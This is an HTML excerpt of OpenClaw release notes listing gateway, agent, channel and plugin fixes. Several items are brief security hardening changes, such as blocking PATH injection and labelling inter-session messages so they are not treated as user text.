<li>Gateway: expose <code>gateway.handshakeTimeoutMs</code> in config, schema, and docs while preserving <code>OPENCLAW_HANDSHAKE_TIMEOUT_MS</code> precedence, so loaded or low-powered hosts can tune local WebSocket pre-auth handshakes without patching dist files. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4110188380" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51282" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/51282/hovercard" href="https://github.com/openclaw/openclaw/pull/51282">#51282</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343737030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73592" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73592/hovercard" href="https://github.com/openclaw/openclaw/issues/73592">#73592</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344421059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73652" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73652/hovercard" href="https://github.com/openclaw/openclaw/issues/73652">#73652</a>. Thanks @henry-the-frog.</li>
<li>Gateway/TUI/status: align configured and env-based WebSocket handshake budgets across local clients, probes, and fallback RPCs while preserving explicit status timeouts and paired-device auth fallback, so slow local gateways are not marked unreachable by a shorter client watchdog. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342748182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73524" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73524/hovercard" href="https://github.com/openclaw/openclaw/issues/73524">#73524</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342797952" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73535" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73535/hovercard" href="https://github.com/openclaw/openclaw/issues/73535">#73535</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343737030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73592" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73592/hovercard" href="https://github.com/openclaw/openclaw/issues/73592">#73592</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343892445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73602" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73602/hovercard" href="https://github.com/openclaw/openclaw/issues/73602">#73602</a>. Thanks @harshcatsystems-collab, @DJBlackhawk, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Vksh07/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Vksh07">@Vksh07</a>.</li>
<li>Gateway/startup: return retryable <code>UNAVAILABLE</code> during the sidecar startup window and keep CLI/TUI/status clients retrying inside their existing timeout budget, so early connects no longer surface as terminal handshake failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344421059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73652" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73652/hovercard" href="https://github.com/openclaw/openclaw/issues/73652">#73652</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/spenceryang1996-dot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/spenceryang1996-dot">@spenceryang1996-dot</a>.</li>
<li>Gateway/proxy: bypass inherited proxy environment for local Gateway control-plane WebSockets to <code>localhost</code> as well as loopback IPs, so Windows/WSL proxy settings cannot intercept local CLI/TUI Gateway connections. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342188777" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73474" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73474/hovercard" href="https://github.com/openclaw/openclaw/pull/73474">#73474</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343892445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73602" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73602/hovercard" href="https://github.com/openclaw/openclaw/issues/73602">#73602</a>. Thanks @DhtIsCoding.</li>
<li>Doctor/Gateway: use a lightweight <code>status</code> RPC without channel summary work for doctor Gateway liveness, so slow health snapshots do not falsely drive service restart repair. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4240455463" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64400" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64400/hovercard" href="https://github.com/openclaw/openclaw/issues/64400">#64400</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4241956746" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64511" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64511/hovercard" href="https://github.com/openclaw/openclaw/pull/64511">#64511</a>. Thanks @CHE10X and @EronFan.</li>
<li>Agents/auth: scope external CLI credential discovery to configured providers during model auth status and startup prewarm, so opencode-only and other single-provider gateways do not block on unrelated Claude CLI Keychain probes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347237976" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73908" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73908/hovercard" href="https://github.com/openclaw/openclaw/issues/73908">#73908</a>. Thanks @Ailuras.</li>
<li>Agents/model selection: resolve slash-form aliases before provider/model parsing and keep alias-resolved primary models subject to transient provider cooldowns, so cron and persisted sessions do not retry cooled-down raw aliases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343366616" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73573" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73573/hovercard" href="https://github.com/openclaw/openclaw/issues/73573">#73573</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344524821" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73657" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73657/hovercard" href="https://github.com/openclaw/openclaw/issues/73657">#73657</a>. Thanks @akai-shuuichi and @hashslingers.</li>
<li>Agents/Claude CLI: reuse already-cached macOS Keychain credentials for no-prompt Claude credential reads, so doctor/runtime checks do not miss fresh interactive Claude auth. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344788745" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73682" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73682/hovercard" href="https://github.com/openclaw/openclaw/issues/73682">#73682</a>. Thanks @RyanSandoval.</li>
<li>Agents/Claude CLI doctor: scope workspace and project-dir checks to agents that actually use the Claude CLI runtime, so non-default Claude agents no longer make the default agent look Claude-backed. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347196394" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73903" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73903/hovercard" href="https://github.com/openclaw/openclaw/issues/73903">#73903</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bobfreeman1989/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bobfreeman1989">@bobfreeman1989</a>.</li>
<li>Gateway/sessions: expose effective agent runtime metadata on session rows, <code>sessions.patch</code>, and local <code>openclaw sessions --json</code>, while keeping Claude CLI-backed rows on the canonical model provider so runtime backend and model identity are no longer conflated. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339520660" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73090" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73090/hovercard" href="https://github.com/openclaw/openclaw/issues/73090">#73090</a>. Thanks @vishutdhar.</li>
<li>Gateway/auth status: scope external CLI credential overlays to configured providers, runtimes, or profiles and keep status reads off new Keychain prompts, so single-provider Gateway configs no longer probe unrelated Claude/Codex/MiniMax auth on startup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347237976" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73908" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73908/hovercard" href="https://github.com/openclaw/openclaw/issues/73908">#73908</a>. Thanks @Ailuras.</li>
<li>Agents/runtime status: expose effective agent runtime metadata in <code>agents.list</code>, Control UI agent panels, and <code>/agents</code>, and avoid rendering stale or cumulative CLI token totals as live context usage. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344570308" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73660" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73660/hovercard" href="https://github.com/openclaw/openclaw/issues/73660">#73660</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343419061" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73578" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73578/hovercard" href="https://github.com/openclaw/openclaw/issues/73578">#73578</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4072029751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45268" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/45268/hovercard" href="https://github.com/openclaw/openclaw/issues/45268">#45268</a>. Thanks @spartman, @DashLabsDev, and @xyooz.</li>
<li>Agents/transcripts: strip empty assistant text blocks while preserving valid text, images, and signatures, so Anthropic-style providers no longer reject sanitized transcript turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344345617" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73640" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73640/hovercard" href="https://github.com/openclaw/openclaw/issues/73640">#73640</a>. Thanks @jowhee327.</li>
<li>Gateway/sessions: preserve session keys on hidden lifecycle events so channel-routed runs still persist terminal session state and do not strand session status as running after Codex turn completion. Thanks @cathrynlavery.</li>
<li>Providers/Bedrock: omit deprecated <code>temperature</code> for Claude Opus 4.7 Bedrock model ids, named and application inference profiles, including dotted <code>opus-4.7</code> refs, and classify the nested validation response for failover. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344649937" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73663" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73663/hovercard" href="https://github.com/openclaw/openclaw/issues/73663">#73663</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>.</li>
<li>Gateway: raise the preauth/connect-challenge timeout to 15s so cold CLI starts on slower hosts have more time to process the WebSocket challenge before the Gateway closes the connection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4111642035" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51469" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51469/hovercard" href="https://github.com/openclaw/openclaw/issues/51469">#51469</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343737030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73592" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73592/hovercard" href="https://github.com/openclaw/openclaw/issues/73592">#73592</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4213272898" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62060/hovercard" href="https://github.com/openclaw/openclaw/pull/62060">#62060</a>. Thanks @GothicFox and @jackychen-png.</li>
<li>CLI/status: fall back to a bounded local <code>status</code> RPC when loopback detail probes time out or report unknown capability, so reachable local gateways are no longer marked unreachable by slow read diagnostics. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342797952" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73535" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73535/hovercard" href="https://github.com/openclaw/openclaw/issues/73535">#73535</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4083597939" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48360" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48360/hovercard" href="https://github.com/openclaw/openclaw/issues/48360">#48360</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221198235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62762" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62762/hovercard" href="https://github.com/openclaw/openclaw/issues/62762">#62762</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4110811160" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51357" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51357/hovercard" href="https://github.com/openclaw/openclaw/issues/51357">#51357</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4050661491" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42019" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42019/hovercard" href="https://github.com/openclaw/openclaw/issues/42019">#42019</a>. Thanks @RacecarGuy, @justinschille, @DJBlackhawk, @tianyaqpzm, and @0xrsydn.</li>
<li>CLI/gateway: reuse cached paired-device auth during <code>gateway probe</code> and report post-connect diagnostic failures as degraded reachability, so healthy local gateways are no longer marked unreachable after loopback auth or read timeouts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4083597939" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48360" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48360/hovercard" href="https://github.com/openclaw/openclaw/issues/48360">#48360</a>. Thanks @RacecarGuy.</li>
<li>Channels/Discord: give Discord Gateway WebSocket handshakes a 30s timeout so stalled TLS/network transitions emit an error and Carbon can continue its reconnect loop instead of leaving the bot silent until restart. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4097993139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/50046/hovercard" href="https://github.com/openclaw/openclaw/pull/50046">#50046</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codexGW/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codexGW">@codexGW</a>.</li>
<li>Mattermost/WebSocket: send protocol ping/pong keepalives and terminate stale sessions when pongs stop arriving, so silent TCP drops reconnect instead of leaving monitoring idle. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4049689741" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41837" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/41837/hovercard" href="https://github.com/openclaw/openclaw/issues/41837">#41837</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4169293678" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57621" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/57621/hovercard" href="https://github.com/openclaw/openclaw/pull/57621">#57621</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4098800956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50138" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50138/hovercard" href="https://github.com/openclaw/openclaw/issues/50138">#50138</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4065388815" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44160" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44160/hovercard" href="https://github.com/openclaw/openclaw/issues/44160">#44160</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4108428334" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51104" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51104/hovercard" href="https://github.com/openclaw/openclaw/issues/51104">#51104</a>. Thanks @JasonWang1124.</li>
<li>Channels/Telegram: suppress standalone failed edit/write warning payloads when a user-facing assistant error reply already covers the turn, while keeping unresolved mutating failures visible behind success-looking or suppressed-error replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040841536" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39631" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39631/hovercard" href="https://github.com/openclaw/openclaw/issues/39631">#39631</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345454858" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73750" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73750/hovercard" href="https://github.com/openclaw/openclaw/pull/73750">#73750</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040858007" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39636" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/39636/hovercard" href="https://github.com/openclaw/openclaw/pull/39636">#39636</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041006323" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39717" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/39717/hovercard" href="https://github.com/openclaw/openclaw/pull/39717">#39717</a>; leaves <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040278873" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39406" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39406/hovercard" href="https://github.com/openclaw/openclaw/issues/39406">#39406</a> for configurable delivery policy. Thanks @Bartok9 and @Bortlesboat.</li>
<li>Control UI/agents: persist the Set Default action through <code>agents.list[].default</code> instead of writing the unsupported <code>agents.defaultId</code> field, so saved default-agent changes survive config validation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4250028068" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65565" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65565/hovercard" href="https://github.com/openclaw/openclaw/issues/65565">#65565</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333057256" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72585" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72585/hovercard" href="https://github.com/openclaw/openclaw/pull/72585">#72585</a>. Thanks @luyao618.</li>
<li>NVIDIA/NIM: persist the <code>NVIDIA_API_KEY</code> provider marker and mark bundled NVIDIA Chat Completions models as string-content compatible, so NIM models load from <code>models.json</code> and OpenAI-compatible subagent calls send plain text content. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338530888" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73013" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73013/hovercard" href="https://github.com/openclaw/openclaw/issues/73013">#73013</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4098604940" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50107" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50107/hovercard" href="https://github.com/openclaw/openclaw/issues/50107">#50107</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338532925" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73014/hovercard" href="https://github.com/openclaw/openclaw/issues/73014">#73014</a>. Thanks @bautrey, @iot2edge, @ifearghal, and @futhgar.</li>
<li>Channels/Discord: let text-only configs drop the <code>GuildVoiceStates</code> gateway intent and expose a bounded <code>/gateway/bot</code> metadata timeout with rate-limited fallback logs, reducing idle CPU and warning floods. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345114420" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73709" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73709/hovercard" href="https://github.com/openclaw/openclaw/issues/73709">#73709</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343589386" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73585" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73585/hovercard" href="https://github.com/openclaw/openclaw/issues/73585">#73585</a>. Thanks @sanchezm86 and @trac3r00.</li>
<li>Agents/sessions: mark same-turn <code>sessions_send</code> and A2A reply prompts with an inter-session <code>isUser=false</code> envelope before they reach the model, so foreign session output no longer lands as bare active user text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345004992" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73702" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73702/hovercard" href="https://github.com/openclaw/openclaw/issues/73702">#73702</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344960552" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73698" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73698/hovercard" href="https://github.com/openclaw/openclaw/issues/73698">#73698</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344064139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73609" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73609/hovercard" href="https://github.com/openclaw/openclaw/issues/73609">#73609</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343780208" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73595" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73595/hovercard" href="https://github.com/openclaw/openclaw/issues/73595">#73595</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344203540" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73622" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73622/hovercard" href="https://github.com/openclaw/openclaw/issues/73622">#73622</a>. Thanks @alvelda.</li>
<li>Channels/Telegram: fail closed when account-level public DM settings conflict with a restrictive top-level <code>allowFrom</code>, and require an effective wildcard before <code>dmPolicy="open"</code> behaves as public access. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345556370" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73756" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73756/hovercard" href="https://github.com/openclaw/openclaw/issues/73756">#73756</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344960552" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73698" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73698/hovercard" href="https://github.com/openclaw/openclaw/issues/73698">#73698</a>. Thanks @Hilo-Hilo and @xace1825.</li>
<li>Channels/security: move open-DM allowlist semantics into the shared policy helpers and align Discord, Slack, Mattermost, Matrix, Feishu, LINE, IRC, Google Chat, Zalo, Zalo User, QQ Bot, and Synology Chat so <code>dmPolicy="open"</code> is public only with an effective wildcard and otherwise still respects sender allowlists. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345556370" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73756" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73756/hovercard" href="https://github.com/openclaw/openclaw/issues/73756">#73756</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344960552" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73698" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73698/hovercard" href="https://github.com/openclaw/openclaw/issues/73698">#73698</a>. Thanks @Hilo-Hilo and @xace1825.</li>
<li>ACP/tasks: sweep orphaned parent-owned ACP sessions whose task records are gone, preserving bound persistent sessions but clearing unbound stale ACPX metadata so old child sessions cannot silently respawn into chat. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344064139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73609" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73609/hovercard" href="https://github.com/openclaw/openclaw/issues/73609">#73609</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joerod26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joerod26">@joerod26</a>.</li>
<li>Outbound/security: strip known internal runtime scaffolding such as <code>&lt;system-reminder&gt;</code> and <code>&lt;previous_response&gt;</code> at the final channel delivery boundary and keep Discord output on targeted tag stripping, so degraded harness replies cannot leak those tags to users. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343780208" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73595" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73595/hovercard" href="https://github.com/openclaw/openclaw/issues/73595">#73595</a>. Thanks @gabrielexito-stack and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>Security/Telegram: load Telegram security adapters in read-only audit/doctor, audit malformed Telegram DM <code>allowFrom</code> entries even when groups are disabled, and keep allowlist DM audits from counting stale pairing-store senders, so public/shared-DM risk checks stay accurate. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344960552" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73698" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73698/hovercard" href="https://github.com/openclaw/openclaw/issues/73698">#73698</a>. Thanks @xace1825.</li>
<li>Plugins: remove hidden manifest, provider-owner, bootstrap, and channel metadata caches so plugin installs, manifest edits, and bundled-root changes are visible on the next metadata read while keeping runtime/module loader caches for actual plugin code. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/plugins: use plugin metadata snapshots for install slot selection and add opt-in plugin lifecycle timing traces, so plugin install avoids runtime-loading the plugin registry for metadata-only decisions. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>fix(plugins): restrict bundled plugin dir resolution to trusted package roots. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340652676" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73275" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73275/hovercard" href="https://github.com/openclaw/openclaw/pull/73275">#73275</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>fix(security): prevent workspace PATH injection via service env and trash helpers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340617524" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73264" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73264/hovercard" href="https://github.com/openclaw/openclaw/pull/73264">#73264</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Active Memory: allow <code>allowedChatTypes</code> to include explicit portal/webchat sessions and classify <code>agent:...:explicit:...</code> session keys before opaque session ids can shadow the chat type. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4252129588" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65775" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65775/hovercard" href="https://github.com/openclaw/openclaw/issues/65775">#65775</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259069037" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66285/hovercard" href="https://github.com/openclaw/openclaw/pull/66285">#66285</a>) Thanks @Lidang-Jiang.</li>
